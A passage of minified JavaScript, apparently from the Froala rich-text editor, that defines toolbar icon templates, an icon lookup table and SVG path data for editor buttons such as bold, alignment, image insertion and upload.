focusable="false" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="[PATH]"/></svg>',svgMultiplePath:'<svg class="fr-svg" focusable="false" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">[PATHS]</svg>',empty:" "},kt.ICONS={bold:{NAME:"bold",SVG_KEY:"bold"},italic:{NAME:"italic",SVG_KEY:"italic"},underline:{NAME:"underline",SVG_KEY:"underline"},strikeThrough:{NAME:"strikethrough",SVG_KEY:"strikeThrough"},subscript:{NAME:"subscript",SVG_KEY:"subscript"},superscript:{NAME:"superscript",SVG_KEY:"superscript"},cancel:{NAME:"cancel",SVG_KEY:"cancel"},color:{NAME:"tint",SVG_KEY:"textColor"},outdent:{NAME:"outdent",SVG_KEY:"outdent"},indent:{NAME:"indent",SVG_KEY:"indent"},undo:{NAME:"rotate-left",FA5NAME:"undo",SVG_KEY:"undo"},redo:{NAME:"rotate-right",FA5NAME:"redo",SVG_KEY:"redo"},insert:{NAME:"insert",SVG_KEY:"insert"},insertAll:{NAME:"insertAll",SVG_KEY:"insertAll"},insertHR:{NAME:"minus",SVG_KEY:"horizontalLine"},clearFormatting:{NAME:"eraser",SVG_KEY:"clearFormatting"},selectAll:{NAME:"mouse-pointer",SVG_KEY:"selectAll"},minimize:{NAME:"minimize",SVG_KEY:"minimize"},moreText:{NAME:"ellipsis-v",SVG_KEY:"textMore"},moreParagraph:{NAME:"ellipsis-v",SVG_KEY:"paragraphMore"},moreRich:{NAME:"ellipsis-v",SVG_KEY:"insertMore"},moreMisc:{NAME:"ellipsis-v",SVG_KEY:"more"}},kt.DefineIconTemplate=function(e,t){kt.ICON_TEMPLATES[e]=t},kt.DefineIcon=function(e,t){kt.ICONS[e]=t},Object.assign(kt.DEFAULTS,{iconsTemplate:"svg"}),kt.MODULES.icon=function(a){return{create:function o(n){var e=null,r=kt.ICONS[n];if(void 0!==r){var t=r.template||kt.ICON_DEFAULT_TEMPLATE||a.opts.iconsTemplate;t&&t.apply&&(t=t.apply(a)),r.FA5NAME||(r.FA5NAME=r.NAME),"svg"!==t||r.PATH||(r.PATH=kt.SVG[r.SVG_KEY]||""),t&&(t=kt.ICON_TEMPLATES[t])&&(e=t.replace(/\[([a-zA-Z0-9]*)\]/g,function(e,t){return"NAME"===t?r[t]||n:r[t]}))}return e||n},getTemplate:function r(e){var t=kt.ICONS[e],n=a.opts.iconsTemplate;return void 0!==t?n=t.template||kt.ICON_DEFAULT_TEMPLATE||a.opts.iconsTemplate:n},getFileIcon:function n(e){var t=kt.FILEICONS[e];return void 0!==t?t:e}}},kt.SVG={imageTransformations:"M3 5.8h2.8V3H3v2.8Zm0 7.6h2.8v-2.8H3v2.8Zm15.2 0H21v-2.8h-2.8v2.8Zm-7.6-7.6h2.8V3h-2.8v2.8Zm0 14.2h2.8v-2.8h-2.8V20ZM3 20h2.8v-2.8H3V20ZM18.2 5.8H21V3h-2.8v2.8Zm0 14.2H21v-2.8h-2.8V20ZM6.8 4.9h2.8V4H6.8v.9Zm0 14.2h2.8v-.9H6.8v.9Zm7.6-14.2h2.8V4h-2.8v.9Zm0 14.2h2.8v-.9h-2.8v.9ZM3.9 9.6h.9V6.8h-.9v2.8Zm15.2 0h.9V6.8h-.9v2.8ZM3.9 16.2h.9v-1.9h-.9v1.9Zm15.2 0h.9v-1.9h-.9v1.9ZM15.8 14l-2.2 2.3V14h2.2Zm0-6.8v6.2H15V8H9v7.3h4.1v.9H8.2v-9h7.6Zm-4.3 5.3v.8h-.8v-.8h.8Zm1.3-1.4v.8h-2.2v-.8h2.2Zm.6-1.5v.8h-2.7v-.8h2.7Z",filestackIcon:"M19 16.5 15 21v-4.5h4Zm0-1.125h-1.5V4.687h-11v14.625l7.5.001V21H5V3h14v12.375Zm-8-1.687v1.687H9.5v-1.687H11Zm2.5-2.813v1.687h-4v-1.687h4Zm1-2.813v1.687h-5V8.062h5Z",add:"M19,13h-6v6h-2v-6H5v-2h6V5h2v6h6V13z",advancedImageEditor:"M3,17v2h6v-2H3z M3,5v2h10V5H3z M13,21v-2h8v-2h-8v-2h-2v6H13z M7,9v2H3v2h4v2h2V9H7z M21,13v-2H11v2H21z M15,9h2V7h4V5h-4 V3h-2V9z",alignCenter:"M9,18h6v-2H9V18z M6,11v2h12v-2H6z M3,6v2h18V6H3z",alignJustify:"M3,18h18v-2H3V18z M3,11v2h18v-2H3z M3,6v2h18V6H3z",alignLeft:"M3,18h6v-2H3V18z M3,11v2h12v-2H3z M3,6v2h18V6H3z",alignRight:"M15,18h6v-2h-6V18z M9,11v2h12v-2H9z M3,6v2h18V6H3z",anchors:"M16,4h-4H8C6.9,4,6,4.9,6,6v4v10l6-2.6l6,2.6V10V6C18,4.9,17.1,4,16,4z M16,17l-4-1.8L8,17v-7V6h4h4v4V17z",autoplay:"M 7.570312 0.292969 C 7.542969 0.292969 7.515625 0.292969 7.488281 0.296875 C 7.203125 0.324219 6.984375 0.539062 6.980469 0.792969 L 6.925781 3.535156 C 2.796875 3.808594 -0.0078125 6.425781 -0.0859375 10.09375 C -0.121094 11.96875 0.710938 13.6875 2.265625 14.921875 C 3.769531 16.117188 5.839844 16.796875 8.097656 16.828125 C 8.140625 16.828125 12.835938 16.898438 13.035156 16.886719 C 15.171875 16.796875 17.136719 16.128906 18.558594 15.003906 C 20.066406 13.816406 20.882812 12.226562 20.917969 10.40625 C 20.960938 8.410156 20.023438 6.605469 18.289062 5.335938 C 18.214844 5.277344 18.128906 5.230469 18.035156 5.203125 C 17.636719 5.074219 17.222656 5.199219 17 5.476562 L 15.546875 7.308594 C 15.304688 7.609375 15.363281 8.007812 15.664062 8.265625 C 16.351562 8.851562 16.707031 9.625 16.6875 10.5 C 16.652344 12.25 15.070312 13.390625 12.757812 13.535156 C 12.59375 13.539062 8.527344 13.472656 8.164062 13.464844 C 5.703125 13.429688 4.101562 12.191406 4.140625 10.3125 C 4.175781 8.570312 5.132812 7.46875 6.847656 7.199219 L 6.796875 9.738281 C 6.792969 9.992188 7 10.214844 7.285156 10.253906 C 7.3125 10.257812 7.339844 10.257812 7.367188 10.257812 C 7.503906 10.261719 7.632812 10.222656 7.738281 10.148438 L 14.039062 5.785156 C 14.171875 5.691406 14.253906 5.558594 14.253906 5.410156 C 14.257812 5.261719 14.1875 5.125 14.058594 5.027344 L 7.941406 0.414062 C 7.835938 0.335938 7.707031 0.292969 7.570312 0.292969 ",back:"M20 11L7.83 11 11.425 7.405 10.01 5.991 5.416 10.586 5.414 10.584 4 11.998 4.002 12 4 12.002 5.414 13.416 5.416 13.414 10.01 18.009 11.425 16.595 7.83 13 20 13 20 13 20 11 20 11Z",backgroundColor:"M9.91752,12.24082l7.74791-5.39017,1.17942,1.29591-6.094,7.20747L9.91752,12.24082M7.58741,12.652l4.53533,4.98327a.93412.93412,0,0,0,1.39531-.0909L20.96943,8.7314A.90827.90827,0,0,0,20.99075,7.533l-2.513-2.76116a.90827.90827,0,0,0-1.19509-.09132L7.809,11.27135A.93412.93412,0,0,0,7.58741,12.652ZM2.7939,18.52772,8.41126,19.5l1.47913-1.34617-3.02889-3.328Z",blockquote:"M10.31788,5l.93817,1.3226A12.88271,12.88271,0,0,0,8.1653,9.40125a5.54242,5.54242,0,0,0-.998,3.07866v.33733q.36089-.04773.66067-.084a4.75723,4.75723,0,0,1,.56519-.03691,2.87044,2.87044,0,0,1,2.11693.8427,2.8416,2.8416,0,0,1,.8427,2.09274,3.37183,3.37183,0,0,1-.8898,2.453A3.143,3.143,0,0,1,8.10547,19,3.40532,3.40532,0,0,1,5.375,17.7245,4.91156,4.91156,0,0,1,4.30442,14.453,9.3672,9.3672,0,0,1,5.82051,9.32933,14.75716,14.75716,0,0,1,10.31788,5Zm8.39243,0,.9369,1.3226a12.88289,12.88289,0,0,0-3.09075,3.07865,5.54241,5.54241,0,0,0-.998,3.07866v.33733q.33606-.04773.63775-.084a4.91773,4.91773,0,0,1,.58938-.03691,2.8043,2.8043,0,0,1,2.1042.83,2.89952,2.89952,0,0,1,.80578,2.10547,3.42336,3.42336,0,0,1-.86561,2.453A3.06291,3.06291,0,0,1,16.49664,19,3.47924,3.47924,0,0,1,13.742,17.7245,4.846,4.846,0,0,1,12.64721,14.453,9.25867,9.25867,0,0,1,14.17476,9.3898,15.26076,15.26076,0,0,1,18.71031,5Z",bold:"M15.25,11.8h0A3.68,3.68,0,0,0,17,9a3.93,3.93,0,0,0-3.86-4H6.65V19h7a3.74,3.74,0,0,0,3.7-3.78V15.1A3.64,3.64,0,0,0,15.25,11.8ZM8.65,7h4.2a2.09,2.09,0,0,1,2,1.3,2.09,2.09,0,0,1-1.37,2.61,2.23,2.23,0,0,1-.63.09H8.65Zm4.6,10H8.65V13h4.6a2.09,2.09,0,0,1,2,1.3,2.09,2.09,0,0,1-1.37,2.61A2.23,2.23,0,0,1,13.25,17Z",cancel:"M13.4,12l5.6,5.6L17.6,19L12,13.4L6.4,19L5,17.6l5.6-5.6L5,6.4L6.4,5l5.6,5.6L17.6,5L19,6.4L13.4,12z",cellBackground:"M16.6,12.4L7.6,3.5L6.2,4.9l2.4,2.4l-5.2,5.2c-0.6,0.6-0.6,1.5,0,2.1l5.5,5.5c0.3,0.3,0.7,0.4,1.1,0.4s0.8-0.1,1.1-0.4 l5.5-5.5C17.2,14,17.2,13,16.6,12.4z M5.2,13.5L10,8.7l4.8,4.8H5.2z M19,15c0,0-2,2.2-2,3.5c0,1.1,0.9,2,2,2s2-0.9,2-2 C21,17.2,19,15,19,15z",cellBorderColor:"M22,22H2v2h20V22z",cellOptions:"M20,5H4C2.9,5,2,5.9,2,7v10c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V7C22,5.9,21.1,5,20,5z M9.5,6.5h5V9h-5V6.5z M8,17.5H4 c-0.3,0-0.5-0.2-0.5-0.4c0,0,0,0,0,0V17v-2H8V17.5z M8,13.5H3.5v-3H8V13.5z M8,9H3.5V7c0-0.3,0.2-0.5,0.4-0.5c0,0,0,0,0,0H8V9z M14.5,17.5h-5V15h5V17.5z M20.5,17c0,0.3-0.2,0.5-0.4,0.5c0,0,0,0,0,0H16V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M20.5,9H16V6.5h4 c0.3,0,0.5,0.2,0.5,0.4c0,0,0,0,0,0V9z",cellStyle:"M20,19.9l0.9,3.6l-3.2-1.9l-3.3,1.9l0.8-3.6L12.3,17h3.8l1.7-3.5l1.4,3.5H23L20,19.9z M20,5H4C2.9,5,2,5.9,2,7v10 c0,1.1,0.9,2,2,2h7.5l-0.6-0.6L10,17.5H9.5V15h5.4l1.1-2.3v-2.2h4.5v3H20l0.6,1.5H22V7C22,5.9,21.1,5,20,5z M3.5,7 c0-0.3,0.2-0.5,0.4-0.5c0,0,0,0,0.1,0h4V9H3.5V7z M3.5,10.5H8v3H3.5V10.5z M4,17.5c-0.3,0-0.5-0.2-0.5-0.4c0,0,0,0,0-0.1v-2H8v2.5H4 z M14.5,9h-5V6.5h5V9z M20.5,9H16V6.5h4c0.3,0,0.5,0.2,0.5,0.4c0,0,0,0,0,0.1V9z",clearFormatting:"M11.48,10.09l-1.2-1.21L8.8,7.41,6.43,5,5.37,6.1,8.25,9,4.66,19h2l1.43-4h5.14l1.43,4h2l-.89-2.51L18.27,19l1.07-1.06L14.59,13.2ZM8.8,13l.92-2.56L12.27,13Zm.56-7.15L9.66,5h2l1.75,4.9Z",close:"M13.4,12l5.6,5.6L17.6,19L12,13.4L6.4,19L5,17.6l5.6-5.6L5,6.4L6.4,5l5.6,5.6L17.6,5L19,6.4L13.4,12z",codeView:"M9.4,16.6,4.8,12,9.4,7.4,8,6,2,12l6,6Zm5.2,0L19.2,12,14.6,7.4,16,6l6,6-6,6Z",cogs:"M18.877 12.907a6.459 6.459 0 0 0 0 -1.814l1.952 -1.526a0.468 0.468 0 0 0 0.111 -0.593l-1.851 -3.2a0.461 0.461 0 0 0 -0.407 -0.231 0.421 0.421 0 0 0 -0.157 0.028l-2.3 0.925a6.755 6.755 0 0 0 -1.563 -0.907l-0.352 -2.452a0.451 0.451 0 0 0 -0.453 -0.388h-3.7a0.451 0.451 0 0 0 -0.454 0.388L9.347 5.588A7.077 7.077 0 0 0 7.783 6.5l-2.3 -0.925a0.508 0.508 0 0 0 -0.166 -0.028 0.457 0.457 0 0 0 -0.4 0.231l-1.851 3.2a0.457 0.457 0 0 0 0.111 0.593l1.952 1.526A7.348 7.348 0 0 0 5.063 12a7.348 7.348 0 0 0 0.064 0.907L3.175 14.433a0.468 0.468 0 0 0 -0.111 0.593l1.851 3.2a0.461 0.461 0 0 0 0.407 0.231 0.421 0.421 0 0 0 0.157 -0.028l2.3 -0.925a6.74 6.74 0 0 0 1.564 0.907L9.7 20.864a0.451 0.451 0 0 0 0.454 0.388h3.7a0.451 0.451 0 0 0 0.453 -0.388l0.352 -2.452a7.093 7.093 0 0 0 1.563 -0.907l2.3 0.925a0.513 0.513 0 0 0 0.167 0.028 0.457 0.457 0 0 0 0.4 -0.231l1.851 -3.2a0.468 0.468 0 0 0 -0.111 -0.593Zm-0.09 2.029l-0.854 1.476 -2.117 -0.852 -0.673 0.508a5.426 5.426 0 0 1 -1.164 0.679l-0.795 0.323 -0.33 2.269h-1.7l-0.32 -2.269 -0.793 -0.322a5.3 5.3 0 0 1 -1.147 -0.662L8.2 15.56l-2.133 0.86 -0.854 -1.475 1.806 -1.411 -0.1 -0.847c-0.028 -0.292 -0.046 -0.5 -0.046 -0.687s0.018 -0.4 0.045 -0.672l0.106 -0.854L5.217 9.064l0.854 -1.475 2.117 0.851 0.673 -0.508a5.426 5.426 0 0 1 1.164 -0.679l0.8 -0.323 0.331 -2.269h1.7l0.321 2.269 0.792 0.322a5.3 5.3 0 0 1 1.148 0.661l0.684 0.526 2.133 -0.859 0.853 1.473 -1.8 1.421 0.1 0.847a5 5 0 0 1 0.046 0.679c0 0.193 -0.018 0.4 -0.045 0.672l-0.106 0.853ZM12 14.544A2.544 2.544 0 1 1 14.546 12 2.552 2.552 0 0 1 12 14.544Z",columns:"M20,5H4C2.9,5,2,5.9,2,7v10c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V7C22,5.9,21.1,5,20,5z M8,17.5H4c-0.3,0-0.5-0.2-0.5-0.4 c0,0,0,0,0,0V17v-2H8V17.5z M8,13.5H3.5v-3H8V13.5z M8,9H3.5V7c0-0.3,0.2-0.5,0.4-0.5c0,0,0,0,0,0H8V9z M20.5,17 c0,0.3-0.2,0.5-0.4,0.5c0,0,0,0,0,0H16V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M20.5,9H16V6.5h4c0.3,0,0.5,0.2,0.5,0.4c0,0,0,0,0,0 V9z",edit:"M17,11.2L12.8,7L5,14.8V19h4.2L17,11.2z M7,16.8v-1.5l5.6-5.6l1.4,1.5l-5.6,5.6H7z M13.5,6.3l0.7-0.7c0.8-0.8,2.1-0.8,2.8,0 c0,0,0,0,0,0L18.4,7c0.8,0.8,0.8,2,0,2.8l-0.7,0.7L13.5,6.3z",exitFullscreen:"M5,16H8v3h2V14H5ZM8,8H5v2h5V5H8Zm6,11h2V16h3V14H14ZM16,8V5H14v5h5V8Z",fileInsert:"M 8.09375 12.75 L 5.90625 12.75 C 5.542969 12.75 5.25 12.394531 5.25 11.953125 L 5.25 6.375 L 2.851562 6.375 C 2.367188 6.375 2.121094 5.660156 2.464844 5.242188 L 6.625 0.1875 C 6.832031 -0.0585938 7.167969 -0.0585938 7.371094 0.1875 L 11.535156 5.242188 C 11.878906 5.660156 11.632812 6.375 11.148438 6.375 L 8.75 6.375 L 8.75 11.953125 C 8.75 12.394531 8.457031 12.75 8.09375 12.75 Z M 14 12.484375 L 14 16.203125 C 14 16.644531 13.707031 17 13.34375 17 L 0.65625 17 C 0.292969 17 0 16.644531 0 16.203125 L 0 12.484375 C 0 12.042969 0.292969 11.6875 0.65625 11.6875 L 4.375 11.6875 L 4.375 11.953125 C 4.375 12.980469 5.0625 13.8125 5.90625 13.8125 L 8.09375 13.8125 C 8.9375 13.8125 9.625 12.980469 9.625 11.953125 L 9.625 11.6875 L 13.34375 11.6875 C 13.707031 11.6875 14 12.042969 14 12.484375 Z M 10.609375 15.40625 C 10.609375 15.039062 10.363281 14.742188 10.0625 14.742188 C 9.761719 14.742188 9.515625 15.039062 9.515625 15.40625 C 9.515625 15.773438 9.761719 16.070312 10.0625 16.070312 C 10.363281 16.070312 10.609375 15.773438 10.609375 15.40625 Z M 12.359375 15.40625 C 12.359375 15.039062 12.113281 14.742188 11.8125 14.742188 C 11.511719 14.742188 11.265625 15.039062 11.265625 15.40625 C 11.265625 15.773438 11.511719 16.070312 11.8125 16.070312 C 12.113281 16.070312 12.359375 15.773438 12.359375 15.40625 Z M 12.359375 15.40625 ",fileManager:"M 0 5.625 L 20.996094 5.625 L 21 15.75 C 21 16.371094 20.410156 16.875 19.6875 16.875 L 1.3125 16.875 C 0.585938 16.875 0 16.371094 0 15.75 Z M 0 5.625 M 21 4.5 L 0 4.5 L 0 2.25 C 0 1.628906 0.585938 1.125 1.3125 1.125 L 6.921875 1.125 C 7.480469 1.125 8.015625 1.316406 8.40625 1.652344 L 9.800781 2.847656 C 10.195312 3.183594 10.730469 3.375 11.289062 3.375 L 19.6875 3.375 C 20.414062 3.375 21 3.878906 21 4.5 Z M 21 4.5",markdown:"M5.55006 17.75V7.35L8.96006 16.89H10.7101L14.2301 7.37V14.0729C14.3951 14.1551 14.5499 14.265 14.6875 14.4026L14.7001 14.4151V11.64C14.7001 10.8583 15.2127 10.1963 15.9201 9.97171V5H13.6801L10.0401 14.86L6.51006 5H4.00006V17.75H5.55006ZM17.2001 11.64C17.2001 11.2258 16.8643 10.89 16.4501 10.89C16.0359 10.89 15.7001 11.2258 15.7001 11.64V16.8294L13.9804 15.1097C13.6875 14.8168 13.2126 14.8168 12.9197 15.1097C12.6269 15.4026 12.6269 15.8775 12.9197 16.1703L15.9197 19.1703C16.2126 19.4632 16.6875 19.4632 16.9804 19.1703L19.9804 16.1703C20.2733 15.8775 20.2733 15.4026 19.9804 15.1097C19.6875 14.8168 19.2126 14.8168 18.9197 15.1097L17.2001 16.8294V11.64Z",fontAwesome:"M18.99018,13.98212V7.52679c-.08038-1.21875-1.33929-.683-1.33929-.683-2.933,1.39282-4.36274.61938-5.85938.15625a6.23272,6.23272,0,0,0-2.79376-.20062l-.00946.004A1.98777,1.98777,0,0,0,7.62189,5.106a.984.984,0,0,0-.17517-.05432c-.02447-.0055-.04882-.01032-.0736-.0149A.9565.9565,0,0,0,7.1908,5H6.82539a.9565.9565,0,0,0-.18232.0368c-.02472.00458-.04907.0094-.07348.01484a.985.985,0,0,0-.17523.05438,1.98585,1.98585,0,0,0-.573,3.49585v9.394A1.004,1.004,0,0,0,6.82539,19H7.1908a1.00406,1.00406,0,0,0,1.00409-1.00409V15.52234c3.64221-1.09827,5.19709.64282,7.09888.57587a5.57291,5.57291,0,0,0,3.25446-1.05805A1.2458,1.2458,0,0,0,18.99018,13.98212Z",fontFamily:"M16,19h2L13,5H11L6,19H8l1.43-4h5.14Zm-5.86-6L12,7.8,13.86,13Z",fontSize:"M20.75,19h1.5l-3-10h-1.5l-3,10h1.5L17,16.5h3Zm-3.3-4,1.05-3.5L19.55,15Zm-5.7,4h2l-5-14h-2l-5,14h2l1.43-4h5.14ZM5.89,13,7.75,7.8,9.61,13Z",fullscreen:"M7,14H5v5h5V17H7ZM5,10H7V7h3V5H5Zm12,7H14v2h5V14H17ZM14,5V7h3v3h2V5Z",help:"M11,17h2v2h-2V17z M12,5C9.8,5,8,6.8,8,9h2c0-1.1,0.9-2,2-2s2,0.9,2,2c0,2-3,1.7-3,5v1h2v-1c0-2.2,3-2.5,3-5 C16,6.8,14.2,5,12,5z",horizontalLine:"M5,12h14 M19,11H5v2h14V11z",imageAltText:"M19,7h-6v12h-2V7H5V5h6h2h6V7z",imageCaption:"M14.2,11l3.8,5H6l3-3.9l2.1,2.7L14,11H14.2z M8.5,11c0.8,0,1.5-0.7,1.5-1.5S9.3,8,8.5,8S7,8.7,7,9.5C7,10.3,7.7,11,8.5,11z M22,6v12c0,1.1-0.9,2-2,2H4c-1.1,0-2-0.9-2-2V6c0-1.1,0.9-2,2-2h16C21.1,4,22,4.9,22,6z M20,8.8V6H4v12h16V8.8z M22,22H2v2h20V22z",imageClass:"M9.5,13.4l-2.9-2.9h3.8L12.2,7l1.4,3.5h3.8l-3,2.9l0.9,3.6L12,15.1L8.8,17L9.5,13.4z M22,6v12c0,1.1-0.9,2-2,2H4 c-1.1,0-2-0.9-2-2V6c0-1.1,0.9-2,2-2h16C21.1,4,22,4.9,22,6z M20,6H4v12h16V8.8V6z",imageDisplay:"M3,5h18v2H3V5z M13,9h8v2h-8V9z M13,13h8v2h-8V13z M3,17h18v2H3V17z M3,9h8v6H3V9z",imageManager:"M20,6h-7l-2-2H4C2.9,4,2,4.9,2,6v12c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V8C22,6.9,21.1,6,20,6z M20,18H4V6h6.2l2,2H20V18z M18,16l-3.8-5H14l-2.9,3.8L9,12.1L6,16H18z M10,9.5C10,8.7,9.3,8,8.5,8S7,8.7,7,9.5S7.7,11,8.5,11S10,10.3,10,9.5z",imageSize:"M16.9,4c-0.3,0-0.5,0.2-0.8,0.3L3.3,13c-0.9,0.6-1.1,1.9-0.5,2.8l2.2,3.3c0.4,0.7,1.2,1,2,0.8c0.3,0,0.5-0.2,0.8-0.3 L20.7,11c0.9-0.6,1.1-1.9,0.5-2.8l-2.2-3.3C18.5,4.2,17.7,3.9,16.9,4L16.9,4z M16.9,9.9L18.1,9l-2-2.9L17,5.6c0.1,0,0.1-0.1,0.2-0.1 c0.2,0,0.4,0,0.5,0.2L19.9,9c0.2,0.2,0.1,0.5-0.1,0.7L7,18.4c-0.1,0-0.1,0.1-0.2,0.1c-0.2,0-0.4,0-0.5-0.2L4.1,15 c-0.2-0.2-0.1-0.5,0.1-0.7L5,13.7l2,2.9l1.2-0.8l-2-2.9L7.5,12l1.1,1.7l1.2-0.8l-1.1-1.7l1.2-0.8l2,2.9l1.2-0.8l-2-2.9l1.2-0.8 l1.1,1.7l1.2-0.8l-1.1-1.7L14.9,7L16.9,9.9z",indent:"M3,9v6l3-3L3,9z M3,19h18v-2H3V19z M3,7h18V5H3V7z M9,11h12V9H9V11z M9,15h12v-2H9V15z",inlineClass:"M9.9,13.313A1.2,1.2,0,0,1,9.968,13H6.277l1.86-5.2,1.841,5.148A1.291,1.291,0,0,1,11.212,12h.426l-2.5-7h-2l-5,14h2l1.43-4H9.9Zm2.651,6.727a2.884,2.884,0,0,1-.655-2.018v-2.71A1.309,1.309,0,0,1,13.208,14h3.113a3.039,3.039,0,0,1,2,1.092s1.728,1.818,2.964,2.928a1.383,1.383,0,0,1,.318,1.931,1.44,1.44,0,0,1-.19.215l-3.347,3.31a1.309,1.309,0,0,1-1.832.258h0a1.282,1.282,0,0,1-.258-.257l-1.71-1.728Zm2.48-3.96a.773.773,0,1,0,.008,0Z",inlineStyle:"M11.88,15h.7l.7-1.7-3-8.3h-2l-5,14h2l1.4-4Zm-4.4-2,1.9-5.2,1.9,5.2ZM15.4,21.545l3.246,1.949-.909-3.637L20.72,17H16.954l-1.429-3.506L13.837,17H10.071l2.857,2.857-.779,3.637Z",insert:"M13.889,11.611c-0.17,0.17-0.443,0.17-0.612,0l-3.189-3.187l-3.363,3.36c-0.171,0.171-0.441,0.171-0.612,0c-0.172-0.169-0.172-0.443,0-0.611l3.667-3.669c0.17-0.17,0.445-0.172,0.614,0l3.496,3.493C14.058,11.167,14.061,11.443,13.889,11.611 M18.25,10c0,4.558-3.693,8.25-8.25,8.25c-4.557,0-8.25-3.692-8.25-8.25c0-4.557,3.693-8.25,8.25-8.25C14.557,1.75,18.25,5.443,18.25,10 M17.383,10c0-4.07-3.312-7.382-7.383-7.382S2.618,5.93,2.618,10S5.93,17.381,10,17.381S17.383,14.07,17.383,10",insertEmbed:"M20.73889,15.45929a3.4768,3.4768,0,0,0-5.45965-.28662L9.5661,12.50861a3.49811,3.49811,0,0,0-.00873-1.01331l5.72174-2.66809a3.55783,3.55783,0,1,0-.84527-1.81262L8.70966,9.6839a3.50851,3.50851,0,1,0,.0111,4.63727l5.7132,2.66412a3.49763,3.49763,0,1,0,6.30493-1.526ZM18.00745,5.01056A1.49993,1.49993,0,1,1,16.39551,6.3894,1.49994,1.49994,0,0,1,18.00745,5.01056ZM5.99237,13.49536a1.49989,1.49989,0,1,1,1.61194-1.37878A1.49982,1.49982,0,0,1,5.99237,13.49536Zm11.78211,5.494a1.49993,1.49993,0,1,1,1.61193-1.37885A1.49987,1.49987,0,0,1,17.77448,18.98932Z",insertFile:"M7,3C5.9,3,5,3.9,5,5v14c0,1.1,0.9,2,2,2h10c1.1,0,2-0.9,2-2V7.6L14.4,3H7z M17,19H7V5h6v4h4V19z",insertImage:"M14.2,11l3.8,5H6l3-3.9l2.1,2.7L14,11H14.2z M8.5,11c0.8,0,1.5-0.7,1.5-1.5S9.3,8,8.5,8S7,8.7,7,9.5C7,10.3,7.7,11,8.5,11z M22,6v12c0,1.1-0.9,2-2,2H4c-1.1,0-2-0.9-2-2V6c0-1.1,0.9-2,2-2h16C21.1,4,22,4.9,22,6z M20,8.8V6H4v12h16V8.8z",insertLink:"M11,17H7A5,5,0,0,1,7,7h4V9H7a3,3,0,0,0,0,6h4ZM17,7H13V9h4a3,3,0,0,1,0,6H13v2h4A5,5,0,0,0,17,7Zm-1,4H8v2h8Z",insertMore:"M16.5,13h-6v6h-2V13h-6V11h6V5h2v6h6Zm5,4.5A1.5,1.5,0,1,1,20,16,1.5,1.5,0,0,1,21.5,17.5Zm0-4A1.5,1.5,0,1,1,20,12,1.5,1.5,0,0,1,21.5,13.5Zm0-4A1.5,1.5,0,1,1,20,8,1.5,1.5,0,0,1,21.5,9.5Z",insertTable:"M20,5H4C2.9,5,2,5.9,2,7v2v1.5v3V15v2c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2v-2v-1.5v-3V9V7C22,5.9,21.1,5,20,5z M9.5,13.5v-3 h5v3H9.5z M14.5,15v2.5h-5V15H14.5z M9.5,9V6.5h5V9H9.5z M3.5,7c0-0.3,0.2-0.5,0.5-0.5h4V9H3.5V7z M3.5,10.5H8v3H3.5V10.5z M3.5,17 v-2H8v2.5H4C3.7,17.5,3.5,17.3,3.5,17z M20.5,17c0,0.3-0.2,0.5-0.5,0.5h-4V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M16,9V6.5h4 c0.3,0,0.5,0.2,0.5,0.5v2H16z",insertVideo:"M15,8v8H5V8H15m2,2.5V7a1,1,0,0,0-1-1H4A1,1,0,0,0,3,7V17a1,1,0,0,0,1,1H16a1,1,0,0,0,1-1V13.5l2.29,2.29A1,1,0,0,0,21,15.08V8.91a1,1,0,0,0-1.71-.71Z",upload:"M12 6.66667a4.87654 4.87654 0 0 1 4.77525 3.92342l0.29618 1.50268 1.52794 0.10578a2.57021 2.57021 0 0 1 -0.1827 5.13478H6.5a3.49774 3.49774 0 0 1 -0.3844 -6.97454l1.06682 -0.11341L7.678 9.29387A4.86024 4.86024 0 0 1 12 6.66667m0 -2A6.871 6.871 0 0 0 5.90417 8.37 5.49773 5.49773 0 0 0 6.5 19.33333H18.41667a4.57019 4.57019 0 0 0 0.32083 -9.13A6.86567 6.86567 0 0 0 12 4.66667Zm0.99976 7.2469h1.91406L11.99976 9 9.08618 11.91357h1.91358v3H11V16h2V14h-0.00024Z",uploadFiles:"M12 6.66667a4.87654 4.87654 0 0 1 4.77525 3.92342l0.29618 1.50268 1.52794 0.10578a2.57021 2.57021 0 0 1 -0.1827 5.13478H6.5a3.49774 3.49774 0 0 1 -0.3844 -6.97454l1.06682 -0.11341L7.678 9.29387A4.86024 4.86024 0 0 1 12 6.66667m0 -2A6.871 6.871 0 0 0 5.90417 8.37 5.49773 5.49773 0 0 0 6.5 19.33333H18.41667a4.57019 4.57019 0 0 0 0.32083 -9.13A6.86567 6.86567 0 0 0 12 4.66667Zm0.99976 7.2469h1.91406L11.99976 9 9.08618 11.91357h1.91358v3H11V16h2V14h-0.00024Z",italic:"M11.76,9h2l-2.2,10h-2Zm1.68-4a1,1,0,1,0,1,1,1,1,0,0,0-1-1Z",search:"M15.5 14h-0.79l-0.28 -0.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09 -0.59 4.23 -1.57l0.27 0.28v0.79l5 4.99L20.49 19l-4.99 -5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z",lineHeight:"M6.25,7h2.5L5.25,3.5,1.75,7h2.5V17H1.75l3.5,3.5L8.75,17H6.25Zm4-2V7h12V5Zm0,14h12V17h-12Zm0-6h12V11h-12Z",linkStyles:"M19,17.9l0.9,3.6l-3.2-1.9l-3.3,1.9l0.8-3.6L11.3,15h3.8l1.7-3.5l1.4,3.5H22L19,17.9z M20,12c0,0.3-0.1,0.7-0.2,1h2.1 c0.1-0.3,0.1-0.6,0.1-1c0-2.8-2.2-5-5-5h-4v2h4C18.7,9,20,10.3,20,12z M14.8,11H8v2h3.3h2.5L14.8,11z M9.9,16.4L8.5,15H7 